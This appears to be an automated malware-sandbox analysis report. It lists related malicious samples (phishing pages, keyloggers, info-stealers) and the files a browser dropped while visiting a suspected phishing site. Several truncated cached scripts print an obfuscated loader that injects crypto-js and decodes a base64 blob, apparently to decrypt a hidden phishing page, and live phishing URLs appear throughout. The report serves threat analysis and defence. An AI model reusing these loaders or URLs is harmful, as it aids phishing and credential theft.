	https://stacksports.captainu.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 40.126.31.71
	https://na2.docusign.net/Signing/EmailStart.aspx?a=8ad02d97-8076-44e2-a042-fe16530c5407&etti=24&acct=c5a8c3f6-b465-4834-92a5-13d8938404ab&er=f0b416b1-58c5-41c9-b4fc-e691bed625b5	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 40.126.31.71
	http://host.cloudsonicwave.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 40.126.31.71
	http://host.cloudsonicwave.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 40.126.31.71
	https://lawrence-tours.email-provider.eu/link/najztzpk4q/rt6fmvs079/mbptjkpkg5/gholecqnsu/hu4ercwzc4	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 40.126.31.71
6271f898ce5be7dd52b0fc260d0662b3	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	2.23.209.182
	QKnj2Wb3yo.xlsx	Get hash	malicious	Hidden Macro 4.0	Browse	2.23.209.182
	Kevin Burrell shared 'Team A Pictures and Presentation' in 'Eric Meyn's Workspace' with you.msg	Get hash	malicious	Unknown	Browse	2.23.209.182
	36.msi	Get hash	malicious	Numando	Browse	2.23.209.182
	33.msi	Get hash	malicious	Numando	Browse	2.23.209.182
	QbAwyjyAk3.lnk	Get hash	malicious	Numando	Browse	2.23.209.182
	btm4e0L3pw.lnk	Get hash	malicious	Numando	Browse	2.23.209.182
	26.msi	Get hash	malicious	Numando	Browse	2.23.209.182
	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse	2.23.209.182
	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse	2.23.209.182
3b5074b1b5d032e5620f69f9f700ff0e	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.5.88
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88
	invoice.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	13.107.5.88
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88
	_GG__F_ __S______S_S F_S__O_ ___SO_O_.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.5.88
	024.xlsx.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	13.107.5.88
	FDST69876500900.cmd.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.5.88
	024.xlsx.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	13.107.5.88
	TotalXTunisiaXRFQ.scr.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	13.107.5.88
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	13.107.5.88

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 11 12:53:44 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9915602199425626
Encrypted:	false
SSDEEP:	48:8wOd1lOTAlu7olTcHacidAKZdA1JehwiZUklqehny+3:8w/EB2Uy
MD5:	6A5B208AEC9D3A5C1C3949B945FD9A21
SHA1:	6F940A7E58FB3FF3032707AD655187D68696FEFE
SHA-256:	05482A2555E17F68903EE8E5CE5A8325261E0CCFB4891F7ED697566C29CE678F
SHA-512:	DCE926F84251A5A700AD9CABAAFD6FA71484901377C86F73205805D2C16A83165B76603935CD4F31E36E2E9D132DE3583B00D32A9C841A68A65A32D83469FC69
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.... ...........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IKY.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VKY.n....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VKY.n....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VKY.n...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VKY.n...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........u..K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 11 12:53:44 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.007206011431653
Encrypted:	false
SSDEEP:	48:8FZOd1lOTAlu7olTcHacidAKZdA10eh/iZUkAQkqehEy+2:8FZ/EBk9QVy
MD5:	8FDE3ED9F67FE3F5943758C4EEE54FA7
SHA1:	772E93F808A3326A59482716394ABFF59E7DA3EF
SHA-256:	E8DE5E0F31F1726180EB6E8D425131B86A66CE450CFE8DC2C1453DD8CEB55B68
SHA-512:	3E3FDA1D1398594F8EAEF1192C3FA449A19E47D724CA809BF1776D747AEC6C3CBDE043A7CA3F27F0446EB41A392307D232171854313BEB8D0405F9F751BB778D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....l..........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IKY.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VKY.n....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VKY.n....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VKY.n...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VKY.n...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........u..K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.01701446817607
Encrypted:	false
SSDEEP:	48:8eOd1lOTAlu7olTjHacidAKZdA14tIeh7sFiZUkmgqeh7sqy+BX:8e/Eusnwy
MD5:	12DD99D679CB4A23648198BDDE5A8ECC
SHA1:	3753E603AB399D01EBD67377762D0CEC25BAF53C
SHA-256:	1D51FA0522A064E81FF4BBBA963DF659D40199A62574558A876EF267C0CEE545
SHA-512:	5C1304FA219AEE5C5AA3D646357B090E2B64574DD11913117E169286C1CF1FFD72B04A340C1A3F18F8693FC8BB0426B6621D895C0C58021E68FD80909F62A86A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IKY.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VKY.n....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VKY.n....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VKY.n...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........u..K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 11 12:53:44 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.008733612127136
Encrypted:	false
SSDEEP:	48:8oOd1lOTAlu7olTcHacidAKZdA1behDiZUkwqehIy+R:8o/EB/iy
MD5:	337F217564A6DE8843F912E3808348AF
SHA1:	28E7A28E4382BF3F00DF0119D420E6CA3E90EA06
SHA-256:	BEA0D11DD9F51A8222F826604438781824FF97BB18377DC158DABF6A2B20F426
SHA-512:	1BD5DA75540591F09E25424EE020905C5459EB822FF8319360EDF4E6717689EE8205E7F75681D4DF0895FAD8250023D6E96D6DE10896A1F2E7CC3054E511D1ED
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,................y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IKY.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VKY.n....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VKY.n....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VKY.n...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VKY.n...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........u..K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 11 12:53:44 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9963586685350005
Encrypted:	false
SSDEEP:	48:8fOd1lOTAlu7olTcHacidAKZdA1VehBiZUk1W1qehGy+C:8f/EB/9my
MD5:	14F01C0574C686D91AD49136021D5101
SHA1:	E4D69AFDC47436D72BB2BC2B3230209829FE38A7
SHA-256:	6611E5D96BF07177298CFF7E89468B2559EAC4E291E433F69E24FF6A6C947DBC
SHA-512:	639A31A38C6D840CB164CCD7E9FC3EEF40DC09F7B0F41024817F5E977B9484BDA31590C2061C636A433122B7EAE27C15FA6241423340BB76A09351BAD88C671D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,................y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IKY.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VKY.n....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VKY.n....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VKY.n...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VKY.n...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........u..K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 11 12:53:44 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.004020041449657
Encrypted:	false
SSDEEP:	48:8wOd1lOTAlu7olTcHacidAKZdA1duT6ehOuTbbiZUk5OjqehOuTbwy+yT+:8w/EBLTTTbxWOvTbwy7T
MD5:	0E30F31A316861F9A4FC9DF98D4D6E32
SHA1:	F964107B79DD0FB26BD0A8A486B792A8AC2A6CF8
SHA-256:	31E34519D9B0B2D74DBF151DE55FAF7946BAAB7682A4C3B2FFBB8AD4DD3027CD
SHA-512:	D3DE19D2E9EE23C0CB9F245498EC6CE18085C4C441DEB39FA3D31291194728ADBDFE3B8A979A51B448945CF1DC306067BF19F2C8D3D3CAEE9A8F6FE63E3346EA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....jx..........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IKY.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VKY.n....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VKY.n....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VKY.n...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VKY.n...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........u..K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1325), with CRLF line terminators
Category:	dropped
Size (bytes):	1966
Entropy (8bit):	5.94837125158283
Encrypted:	false
SSDEEP:	48:c7bdUdk9waGIBxLzHI6Lypf8nC2NIrguItyLCkA:c1tSIxHryiNiguIACv
MD5:	87D1771CFDCDEFD07CD4735AE4BACBDB
SHA1:	D9F510CBF1316FE61B52B4C8706D6251244FE4DA
SHA-256:	C0DB14B6B072E6ACA21E35784BE34E8B3946B0004D5D5D4B22F93BE870AE9122
SHA-512:	140E88405173FBCE36F8C54B1BB3BDB3F737CCC6374DA33B10192F4BAD4F58F4B9C8F3AD644714D615904FDA2112E6B145B25697ECCABBD9845736C7C20E3383
Malicious:	false
Preview:	var HBMEVxlFXlZqQmbA = document.createElement("script");..HBMEVxlFXlZqQmbA.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(HBMEVxlFXlZqQmbA);..HBMEVxlFXlZqQmbA.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiUkxQRkJjeE9IQ0JxXC9lY2lOU2VueGJHUmUydUtkZjM1ZEl0Q3ZOSWN1anlvRWFJM3JWais0OFpNUlN6Q1NMSTI3d1ZPMHVxUmllYmNxdCtEUks0OFJvbmRHK1M2T0FaSXpaXC9kNkxIVWk2ek9NdzE2ZHZ1bzhlREE0U1wvMnlUSVwvVGwrXC9sV2F3RTM3MGFTdGNwZUlxWnlENU9Ya0lxb0tGa3QyOGFWOVwvUlhhRVU0eFVCXC82Zys0T1gwT0tlOFdNeGF2SFN2OWx5Z0V2cXRYXC9yNWxXajJtcjJJeStCWHBzTG5NTmdzVkw1MlVGYmdnTFpMYlFHdG1WMHFmTlZYN3Fwd0xPS05FRnVTM2JaMFU4b0p4QTF2Q0ZKTlZKSzhiM25kNGZwOHJnUEFHNGNQbWhHMkx0S1wvV3lSTXlRWElXWjBwTFJleW8wd1ozRXpaTGxFVTV5TVwvWW1ZYkNpVlByU245bEJmeVZteENoWDRzWGoyMElOUjVMd1E0U3Mya21KOEJhSnFvVTNQbHNaa2phNjJYYWFUR0grT2UxeHZWQ25ONFNpTVc2ZWUzUmJTN1pUK3RyeEM1WXVhNStxVTdaZU5pVEdBdCtqSThPd09cL05JSDBkcnhhTzFTT1llVktUSFRLSVFKVys4ejVUNWlzMnJ3NTlmOEw3cytZMmlYeGl3WmxsOEcxXC

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 27, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPl8Yu/TBxl/k4E08up:6v/lhPqYGTB7Tp
MD5:	EA24767E5EAF2BC7348B01A9D17FD726
SHA1:	31570E5D13EC3839FB1BD4E7162523AF7C248E3F
SHA-256:	2E8A2AC99472D3041EE34CCFDD49767372B78243FA10ADFA7BB78D438B62B35F
SHA-512:	0D1D8A005E46A2606F0B384C70565FA47D8BA714E529B024B1BB96646B5994D9AB4B6C3B9816CC1082937D89B8D2AA1CFA744F58A956E45604BE4E0FA48A14DB
Malicious:	false
Preview:	.PNG........IHDR...0............%....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	downloaded
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:	768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
SHA1:	C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
SHA-256:	2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
SHA-512:	01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1313), with CRLF line terminators
Category:	downloaded
Size (bytes):	1954
Entropy (8bit):	5.99877284987238
Encrypted:	false
SSDEEP:	48:s7bsjPL3SImUlRvs20g+A5ZtqFnUJuIlhUuxCy:sUD71xNs20ahNJuI5xCy
MD5:	198168B232920FDFADF04F040171EBFC
SHA1:	C4BE1C3439B5B3DC6927AF0F33E961EFFCC0CCFB
SHA-256:	43CF6116FD96F93F8810403BFEF0B05B585A5997A860E75D2C648312488373D2
SHA-512:	D73AB3CCD7AA4D547B2116BFE820C90B7A03B5B9FC307F1E744ED4228CA0766DDF5C6C6FCE43536ACC250495CAD6A83CCA1B72392146ABB06408572227275A31
Malicious:	false
URL:	https://mollysirishpub-tol.com/res444.php?2-68747470733a2f2f39512e696f756e74616e69632e636f6d2f34724772612f-mandrill
Preview:	var gBhfqgUFlbqXuSAL = document.createElement("script");..gBhfqgUFlbqXuSAL.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(gBhfqgUFlbqXuSAL);..gBhfqgUFlbqXuSAL.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiUVBacWpmTDJtZThpQXdWUHFHVVRGTmd0R0pXakZQXC9KT0ZnZXlZWFUxYXM5SnFvOG8rU0NpdG5BY2hIWVZTVkt6ZzVydmx0bks1dFpKaUM2TnpGVklVWlJkNHlxRGtSVGpCcW9Pc1E0ZHY3R3N2MFcwWDJLRUs1VkRJY3dKTVNnTVB4d1B1NFBtRnJwK2Q0N0Z4cVZJbkxhS1pCQ3FCaGt1ZGpcLytFN3hFQmNBemNTRHV2SUluS09zQURKMHZpSXRZa1JIckNRTW51MytGSnNRd09LR25tRDVpdWNOb0NEUGtTaE1xNGJGVFd4NlwvYllZd1VcL2IybGlSS3JQbDhHR0R1NnJ6cnUyb3V2bDUrMmxaMlg4a1dOczRXRStVZVdNcitUV002Y2JDUGJZZjBNbng1RTgwdXFMRGxBMDdydlI2TTJkYlNQVEdWRkRpOXdYK2k3ZmU5b0E0ancybW5XY1RGdzIrS0VCdGdRY1FyaTh4M0pQZmlIN2tJNVwvTE5lWEhWRVlPN1Q0SzZLUVp6Z1Ftc2RTQ0ltSzExbFpKb0crKzdhbFpnZDFFeXFIdmIzUFJHeFdneHpLSTlwVnMyNWJSZDNsZldTa2VFRHlMYUo4K0xHZ05Jdk80alZtNjdEc1R2UzR1bU9xWmhFWUpTb0xBNW93TXptc1pCSVhubzNrYzVhTEk5T2VRazMyM1

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
